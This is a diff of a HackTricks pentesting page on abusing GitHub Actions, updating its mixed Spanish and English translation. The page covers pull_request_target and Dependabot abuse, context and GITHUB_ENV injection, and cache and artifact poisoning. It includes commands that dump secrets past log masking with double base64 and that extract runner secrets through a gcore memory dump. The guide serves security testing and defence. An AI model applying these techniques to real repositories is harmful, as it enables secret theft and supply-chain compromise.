diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index f5f58e9b6..70ace5fd2 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,10 +1,10 @@ -# Abusar de Github Actions +# Abusing Github Actions {{#include ../../../banners/hacktricks-training.md}} -## Herramientas +## Tools -Las siguientes herramientas son útiles para encontrar workflows de Github Action e incluso encontrar ones vulnerables: +Las siguientes herramientas son útiles para encontrar workflows de Github Action e incluso localizar ones vulnerables: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -12,44 +12,44 @@ Las siguientes herramientas son útiles para encontrar workflows de Github Actio - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) - [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Revisa también su checklist en [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) -## Información básica +## Basic Information En esta página encontrarás: -- Un **resumen de todos los impactos** de un atacante que logre acceder a una Github Action -- Diferentes maneras de **obtener acceso a una Github Action**: +- Un **resumen de todos los impactos** que puede tener un atacante que logre acceder a una Github Action +- Diferentes maneras de **obtener acceso a una action**: - Tener **permisos** para crear la action - Abusar de triggers relacionados con **pull request** - Abusar de **otras técnicas de acceso externo** -- **Pivoting** desde un repo ya comprometido -- Finalmente, una sección sobre **post-exploitation techniques** para abusar de una Github Action desde dentro (causar los impactos mencionados) +- **Pivotar** desde un repo ya comprometido +- Finalmente, una sección sobre **técnicas de post-explotación para abusar una action desde dentro** (y provocar los impactos mencionados) -## Resumen de impactos +## Impacts Summary -Para una introducción sobre [**Github Actions revisa la información básica**](../basic-github-information.md#github-actions). +Para una introducción sobre [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías: +Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repository**, podrías: -- **Steal secrets** montados en el pipeline y **abusar de los privilegios del pipeline** para obtener acceso no autorizado a plataformas externas, como AWS y GCP. -- **Comprometer despliegues** y otros **artefactos**. -- Si el pipeline deploya o almacena assets, podrías alterar el producto final, posibilitando un ataque a la cadena de suministro. -- **Ejecutar código en workers personalizados** para abusar del poder de cómputo y pivotar a otros sistemas. -- **Sobrescribir el código del repositorio**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`. +- **Robar secrets** montados en el pipeline y **abusar de los privilegios del pipeline** para obtener acceso no autorizado a plataformas externas, como AWS and GCP. +- **Comprometer deployments** y otros **artifacts**. +- Si el pipeline despliega o almacena assets, podrías alterar el producto final, permitiendo un ataque a la supply chain. +- **Ejecutar código en custom workers** para abusar de potencia de cómputo y pivotar a otros sistemas. +- **Sobrescribir el código del repository**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`. ## GITHUB_TOKEN -Este "**secret**" (proveniente de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el admin habilita esta opción: +This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
-Este token es el mismo que **una Github Application usará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github debería lanzar un [**flow**](https://github.com/github/roadmap/issues/74) que **permita acceso cross-repository** dentro de GitHub, de modo que un repo pueda acceder a otros repos internos usando el `GITHUB_TOKEN`. +> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. -Puedes ver los posibles **permisos** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Puedes ver los posibles **permissions** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Ten en cuenta que el token **expira después de que el job ha completado**.\ +Ten en cuenta que el token **expira después de que el job ha terminado**.\ Estos tokens se ven así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` Algunas cosas interesantes que puedes hacer con este token: @@ -91,7 +91,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Ten en cuenta que en varias ocasiones podrás encontrar **github user tokens dentro de los envs de Github Actions o en los secrets**. Estos tokens pueden otorgarte más privilegios sobre el repositorio y la organización. +> Ten en cuenta que en varias ocasiones podrás encontrar **github user tokens inside Github Actions envs or in the secrets**. Estos tokens pueden darte más privilegios sobre el repositorio y la organización.
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Obtener una reverse shell con secrets +Obtener reverse shell con secrets ```yaml name: revshell on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Es posible comprobar los permisos otorgados a un Github Token en los repositorios de otros usuarios **comprobando los logs** de las actions: +Es posible comprobar los permisos otorgados a un Github Token en repositorios de otros usuarios comprobando los logs de las Github actions:
## Ejecución permitida > [!NOTE] -> Esta sería la forma más fácil de comprometer Github actions, ya que este caso supone que tienes acceso a **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**. +> Esta sería la forma más fácil de comprometer Github actions, ya que este caso supone que tienes acceso para **crear un nuevo repo en la organización**, o tienes **privilegios de escritura sobre un repositorio**. > -> Si te encuentras en este escenario puedes simplemente revisar los [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> Si estás en este escenario puedes revisar las [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Ejecución desde la creación de un repositorio +### Ejecución desde la creación del repo -En caso de que los miembros de una organización puedan **create new repos** y tú puedas ejecutar Github actions, puedes **create a new repo and steal the secrets set at organization level**. +En caso de que miembros de una organización puedan **create new repos** y puedas ejecutar Github actions, puedes **create a new repo and steal the secrets set at organization level**. ### Ejecución desde una nueva rama -Si puedes **crear una nueva rama en un repositorio que ya contiene una Github Action configurada**, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa action desde la nueva rama**. De esta forma puedes **exfiltrate repository and organization level secrets** (pero necesitas saber cómo se llaman). +Si puedes **create a new branch in a repository that already contains a Github Action** configurado, puedes **modificarlo**, **subir** el contenido y luego **ejecutar esa Github Action desde la nueva rama**. De esta manera puedes **exfiltrar secrets a nivel de repositorio y organización** (pero necesitas saber cómo se llaman). > [!WARNING] -> Cualquier restricción implementada sólo dentro del workflow YAML (por ejemplo, `on: push: branches: [main]`, job conditionals, o manual gates) puede ser editada por colaboradores. Sin enforcement externo (branch protections, protected environments, and protected tags), un contribuidor puede redirigir un workflow para que se ejecute en su rama y abusar de los mounted secrets/permissions. +> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions. -Puedes hacer la action modificada ejecutable **manualmente,** cuando se **cree un PR** o cuando se **haga push de código** (dependiendo de cuán ruidoso quieras ser): +Puedes hacer que la Github Action modificada sea ejecutable **manualmente**, cuando se **crea un PR** o cuando se **hace push de código** (dependiendo de cuánto ruido quieras generar): ```yaml on: workflow_dispatch: # Launch manually @@ -180,49 +180,49 @@ branches: ``` --- -## Ejecución en forks +## Ejecución forkeada > [!NOTE] -> Existen diferentes disparadores que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas acciones que se pueden activar están mal configuradas, un atacante podría comprometerlas. +> Existen diferentes triggers que podrían permitir a un atacante **execute a Github Action of another repository**. Si esas acciones triggerables están mal configuradas, un atacante podría comprometerlas. ### `pull_request` -El workflow trigger **`pull_request`** ejecutará el workflow cada vez que se reciba un pull request con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** deberá **aprobar** la **ejecución** del workflow: +El trigger de workflow **`pull_request`** ejecutará el workflow cada vez que se recibe un pull request con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** tendrá que **aprobar** la **run** del workflow:
> [!NOTE] -> Como la **limitación por defecto** es para contribuyentes de **primera vez**, podrías contribuir **corrigiendo un bug/typo válido** y luego enviar **otros PRs para abusar de tus nuevos privilegios de `pull_request`**. +> Como la **limitación por defecto** es para **contribuidores de primera vez**, podrías contribuir **corrigiendo un bug/typo válido** y luego enviar **otros PRs para abusar de tus nuevos privilegios `pull_request`**. > -> **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminar su cuenta.~~ +> **Lo probé y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminar su cuenta.~~ -Además, por defecto **se impiden los permisos de escritura** y el **acceso a secrets** al repositorio objetivo, como se menciona en la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Además, por defecto **impide write permissions** y **secrets access** al repositorio objetivo como se menciona en los [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y añadir acciones arbitrarias. Sin embargo, no podrá robar secrets ni sobrescribir el repo debido a las limitaciones mencionadas. > [!CAUTION] -> **Sí, si el atacante cambia en el PR la Github Action que se ejecutará, ¡su Github Action será la que se use y no la del repositorio de origen!** +> **Sí, si el atacante cambia en el PR la github action que será triggered, su Github Action será la que se use y no la del repo de origen!** -Dado que el atacante también controla el código que se ejecuta, aunque no haya secrets ni permisos de escritura en el `GITHUB_TOKEN`, un atacante podría por ejemplo **subir artifacts maliciosos**. +Como el atacante también controla el código que se ejecuta, aun si no hay secrets o write permissions en el `GITHUB_TOKEN`, un atacante podría por ejemplo **upload malicious artifacts**. ### **`pull_request_target`** -El workflow trigger **`pull_request_target`** tiene **permisos de escritura** en el repositorio objetivo y **acceso a secrets** (y no solicita permiso). +El trigger de workflow **`pull_request_target`** tiene **write permission** al repositorio objetivo y **access to secrets** (y no pide permiso). -Ten en cuenta que el workflow trigger **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por el PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Además, para más información sobre este uso específico peligroso revisa este [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Ten en cuenta que el trigger de workflow **`pull_request_target`** **runs in the base context** y no en el que aporta el PR (para **no ejecutar código no confiable**). Para más info sobre `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Además, para más info sobre este uso específico peligroso revisa este [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Podría parecer que, dado que el **workflow ejecutado** es el que está definido en la **base** y **no en el PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. +Podría parecer que, dado que el **executed workflow** es el que está definido en la **base** y **no en el PR**, es **secure** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. -Y este tendrá **acceso a secrets**. +Y este tendrá **access to secrets**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. +El [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite ejecutar un workflow desde otro cuando está `completed`, `requested` o `in_progress`. -En este ejemplo, un workflow está configurado para ejecutarse después de que el workflow separado "Run Tests" finalice: +En este ejemplo, un workflow está configurado para ejecutarse después de que el workflow separado "Run Tests" completes: ```yaml on: workflow_run: @@ -230,29 +230,29 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. +Además, según la documentación: El workflow iniciado por el evento `workflow_run` puede **access secrets and write tokens, even if the previous workflow was not**. -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +Este tipo de workflow podría ser atacado si está **depending** de un **workflow** que puede ser **triggered** por un usuario externo vía **`pull_request`** o **`pull_request_target`**. Un par de ejemplos vulnerables se pueden [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** El primero consiste en que el workflow activado por **`workflow_run`** descarga el código del atacante: `${{ github.event.pull_request.head.sha }}`\ +El segundo consiste en **passing** un **artifact** del código **untrusted** al workflow **`workflow_run`** y usar el contenido de ese artifact de una manera que lo hace **vulnerable to RCE**. ### `workflow_call` TODO -TODO: Comprobar si cuando se ejecuta desde un `pull_request` el código usado/descargado es el del origen o el del PR forkeado +TODO: Comprobar si cuando se ejecuta desde un pull_request el código usado/descargado es el del origin o el del forked PR ## Abusing Forked Execution -Hemos mencionado todas las formas en que un atacante externo podría lograr que un github workflow se ejecute, ahora veamos cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas: +Hemos mencionado todas las formas en que un atacante externo podría lograr que un workflow de GitHub se ejecute; ahora veamos cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas: ### Untrusted checkout execution -En el caso de `pull_request`, el workflow se va a ejecutar en el contexto del PR (por lo que ejecutará el código malicioso del PR), pero alguien necesita autorizarlo primero y se ejecutará con algunas [limitaciones](#pull_request). +En el caso de **`pull_request`,** el workflow se va a ejecutar en el **context of the PR** (así que ejecutará el **malicious PRs code**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitations](#pull_request). -En el caso de un workflow usando `pull_request_target` or `workflow_run` que depende de un workflow que puede ser triggeredo desde `pull_request_target` o `pull_request` se ejecutará el código del repositorio original, por lo que el atacante no puede controlar el código ejecutado. +En el caso de un workflow que usa **`pull_request_target` or `workflow_run`** que depende de un workflow que puede ser triggerado desde **`pull_request_target` or `pull_request`**, se ejecutará el código del repositorio original, por lo que el **attacker cannot control the executed code**. > [!CAUTION] -> However, si la **action** tiene un **checkout explícito del PR** que **obtiene el código del PR** (y no del base), usará el código controlado por el atacante. For example (check line 12 where the PR code is downloaded): +> Sin embargo, si la **action** tiene un **explicit PR checkou**t que va a **get the code from the PR** (y no desde base), usará el código controlado por el atacante. Por ejemplo (revisa la línea 12 donde se descarga el código del PR): 
# INSECURE. Provided as an example only.
 on:
@@ -282,14 +282,14 @@ message: |
 Thank you!
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. +El potencial **untrusted code se está ejecutando durante `npm install` o `npm build`** ya que los build scripts y los **packages** referenciados están controlados por el autor del PR. > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). +> Un github dork para buscar actions vulnerables es: `event.pull_request pull_request_target extension:yml` sin embargo, hay diferentes formas de configurar los jobs para que se ejecuten de forma segura incluso si la action está configurada de forma insegura (por ejemplo usando condicionales sobre quién es el actor que genera el PR). -### Inyecciones de scripts en contextos +### Context Script Injections -Ten en cuenta que existen ciertos [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores están **controlados** por el **usuario** que crea el PR. Si la github action está usando esos **datos para ejecutar cualquier cosa**, esto podría conducir a **ejecución de código arbitrario:** +Ten en cuenta que hay ciertos [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores están **controlled** por el **user** que crea el PR. Si la github action está usando esos **data to execute anything**, podría llevar a **arbitrary code execution:** {{#ref}} gh-actions-context-script-injections.md @@ -297,17 +297,17 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +Según la documentación: Puedes hacer que una **environment variable esté disponible para cualquier step subsecuente** en un job de workflow definiendo o actualizando la variable de entorno y escribiéndola en el fichero de entorno **`GITHUB_ENV`**. -If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. +Si un atacante pudiera **inject any value** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos siguientes como **LD_PRELOAD** o **NODE_OPTIONS**. -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +Por ejemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) y [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagina un workflow que confía en un artifact subido para almacenar su contenido dentro de la variable `GITHUB_ENV`. Un atacante podría subir algo como esto para comprometerlo:
### Dependabot and other trusted bots -As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: +Como se indica en [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), varias organizaciones tienen una GitHub Action que mergea cualquier PRR de `dependabot[bot]` como en: ```yaml on: pull_request_target jobs: @@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Lo cual es un problema porque el campo `github.actor` contiene el usuario que provocó el último evento que desencadenó el workflow. Y hay varias maneras de hacer que el usuario `dependabot[bot]` modifique un PR. Por ejemplo: +Esto es un problema porque el campo `github.actor` contiene el usuario que causó el último evento que desencadenó el workflow. Y hay varias formas de hacer que el usuario `dependabot[bot]` modifique un PR. Por ejemplo: -- Fork del repositorio de la víctima -- Añade el payload malicioso a tu copia -- Habilita Dependabot en tu fork añadiendo una dependencia desactualizada. Dependabot creará una branch que arregla la dependencia con código malicioso. -- Abre un Pull Request al repositorio de la víctima desde esa branch (el PR será creado por el usuario, así que aún no pasará nada) -- Luego, el atacante vuelve al PR inicial que Dependabot abrió en su fork y ejecuta `@dependabot recreate` -- Entonces, Dependabot realiza algunas acciones en esa branch, que modifican el PR en el repo de la víctima, lo que hace que `dependabot[bot]` sea el actor del último evento que desencadenó el workflow (y por lo tanto, el workflow se ejecuta). +- Fork the victim repository +- Add the malicious payload to your copy +- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code. +- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) +- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate` +- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs). -Avanzando, ¿y si en lugar de hacer merge el Github Action tuviera una inyección de comandos como en: +Avanzando, ¿qué pasa si, en lugar de hacer merge, la Github Action tuviera una command injection como en: ```yaml on: pull_request_target jobs: @@ -336,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Bueno, la entrada del blog original propone dos opciones para abusar de este comportamiento, siendo la segunda: +La entrada del blog original propone dos opciones para abusar de este comportamiento; la segunda es: -- Fork the victim repository y habilita Dependabot con alguna dependencia desactualizada. -- Crea una nueva branch con el código de inyección de shell malicioso. -- Cambia la default branch del repo a esa. -- Crea un PR desde esa branch hacia el victim repository. -- Ejecuta `@dependabot merge` en el PR que Dependabot abrió en su fork. -- Dependabot fusionará sus cambios en la default branch de tu forked repository, actualizando el PR en el victim repository, haciendo ahora que `dependabot[bot]` sea el actor del último evento que disparó el workflow y usando un nombre de branch malicioso. +- Fork el repositorio de la víctima y habilitar Dependabot con alguna dependencia desactualizada. +- Crear una nueva branch con el código malicioso de shell injection. +- Cambiar la default branch del repositorio a esa. +- Crear un PR desde esta branch al repositorio de la víctima. +- Ejecutar `@dependabot merge` en el PR que Dependabot abrió en su fork. +- Dependabot fusionará sus cambios en la default branch de tu repositorio forked, actualizando el PR en el repositorio de la víctima, haciendo ahora que `dependabot[bot]` sea el actor del último evento que disparó el workflow y usando un nombre de branch malicioso. -### Terceras partes vulnerables en Github Actions +### Vulnerable Third Party Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Como se menciona en [**esta entrada del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acceder a artifacts de diferentes workflows e incluso repositories. +As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. -El problema es que si el parámetro **`path`** no está establecido, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían usarse o incluso ejecutarse más tarde en el workflow. Por lo tanto, si el Artifact es vulnerable, un atacante podría abusar de esto para comprometer otros workflows que confían en el Artifact. +El problema es que si el parámetro **`path`** no está establecido, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían ser usados más tarde o incluso ejecutados en el workflow. Por lo tanto, si el Artifact es vulnerable, un atacante podría abusar de esto para comprometer otros workflows que confían en el Artifact. -Ejemplo de workflow vulnerable: +Example of vulnerable workflow: ```yaml on: workflow_run: @@ -376,7 +376,7 @@ with: name: artifact path: ./script.py ``` -Esto podría ser atacado con este workflow: +Esto podría ser atacado con este flujo de trabajo: ```yaml name: "some workflow" on: pull_request @@ -393,27 +393,27 @@ path: ./script.py ``` --- -## Otros accesos externos +## Other External Access ### Deleted Namespace Repo Hijacking -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de algún tiempo. Si un repo tenía **menos de 100 stars antes del cambio de name**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repo con el mismo name** que el eliminado. > [!CAUTION] -> Por lo tanto, si una action está usando un repo de una account inexistente, sigue siendo posible que un attacker pueda crear esa account y comprometer la action. +> Por lo tanto, si una action está usando un repo de una cuenta inexistente, todavía es posible que un atacante cree esa cuenta y comprometa la action. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Si otros repos estaban usando **dependencies from this user repos**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> En esta sección hablaremos sobre técnicas que permitirían **pivot from one repo to another** suponiendo que tengamos algún tipo de acceso en el primero (revisa la sección anterior). +> En esta sección hablaremos de técnicas que permitirían **pivot from one repo to another** suponiendo que tenemos algún tipo de acceso al primero (revisa la sección anterior). ### Cache Poisoning -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Se mantiene un cache entre **workflow runs in the same branch**. Esto significa que si un atacante logra **compromise** un **package** que luego se almacena en el cache y es **downloaded** y ejecutado por un workflow **more privileged**, también podrá **compromise** ese workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Los workflows podrían usar **artifacts from other workflows and even repos**; si un atacante consigue **compromise** la Github Action que **uploads an artifact** que luego es usada por otro workflow, podría **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.** +Como se comenta en [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), incluso si un repo u organización tiene una policy que restringe el uso de ciertas actions, un atacante podría simplemente descargar (`git clone`) una action dentro del workflow y luego referenciarla como una local action. Como las policies no afectan los local paths, **la action se ejecutará sin ninguna restricción.** -Ejemplo: +Example: ```yaml on: [push, pull_request] @@ -470,9 +470,9 @@ Consulta las siguientes páginas: ### Accediendo a secretos -Si inyectas contenido en un script, es interesante saber cómo puedes acceder a los secretos: +Si estás inyectando contenido en un script, es útil saber cómo puedes acceder a los secretos: -- Si el secreto o token está establecido como una **environment variable**, puede accederse directamente desde el entorno usando **`printenv`**. +- Si el secreto o token está establecido como una **variable de entorno**, puede accederse directamente a través del entorno usando **`printenv`**.
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Obtener reverse shell con secretos +Obtener reverse shell con secrets ```yaml name: revshell on: @@ -526,11 +526,11 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. +- Si el secret se usa **directamente en una expresión**, el script de shell generado se guarda **en disco** y es accesible. - ```bash cat /home/runner/work/_temp/* ``` -- Para una JavaScript action, los secrets se envían a través de environment variables +- Para las acciones de JavaScript, los secrets se envían a través de variables de entorno - ```bash ps axe | grep node ``` @@ -542,7 +542,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Enumera todos los secrets vía el secrets context (collaborator level). Un contributor con write access puede modificar un workflow en cualquier branch para volcar todos los repository/org/environment secrets. Usa double base64 para evadir el log masking de GitHub y decodifica localmente: +- Enumerar todos los secrets vía el secrets context (nivel collaborator). Un contributor con write access puede modificar un workflow en cualquier branch para volcar todos los repository/org/environment secrets. Usa doble base64 para evadir el enmascaramiento de logs de GitHub y decodifica localmente: ```yaml name: Steal secrets @@ -564,29 +564,29 @@ Decodifica localmente: echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Tip: para sigilo durante las pruebas, encripta antes de imprimir (openssl is preinstalled on GitHub-hosted runners). +Tip: para sigilo durante las pruebas, encripta antes de imprimir (openssl está preinstalado en los GitHub-hosted runners). ### Abusing Self-hosted runners -La forma de encontrar qué **Github Actions are being executed in non-github infrastructure** es buscar **`runs-on: self-hosted`** en el Github Action configuration yaml. +La forma de encontrar qué **Github Actions are being executed in non-github infrastructure** es buscar **`runs-on: self-hosted`** en el yaml de configuración de Github Action. -**Self-hosted** runners podrían tener acceso a **extra sensitive information**, a otros **network systems** (vulnerable endpoints in the network? metadata service?) o, incluso si están aislados y destruidos, **more than one action might be run at the same time** y la maliciosa podría **steal the secrets** de la otra. +**Self-hosted** runners podrían tener acceso a **extra sensitive information**, a otros **network systems** (¿endpoints vulnerables en la red? ¿metadata service?) o, incluso si está aislado y destruido, **más de una action podría ejecutarse al mismo tiempo** y la maliciosa podría **steal the secrets** de la otra. -En los self-hosted runners también es posible obtener the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: +En self-hosted runners también es posible obtener los **secrets from the \_Runner.Listener**\_\*\* process\*\* que contendrá todos los secrets de los workflows en cualquier paso volcando su memoria: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Consulta [**esta publicación para más información**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -### Registro de imágenes Docker de Github +### Registro de imágenes Docker en Github -Es posible crear Github Actions que **construyan y almacenen una imagen Docker dentro de Github**.\ +Es posible crear Github actions que **construyan y almacenen un Docker image dentro de Github**.\ Un ejemplo se puede encontrar en el siguiente elemento desplegable:
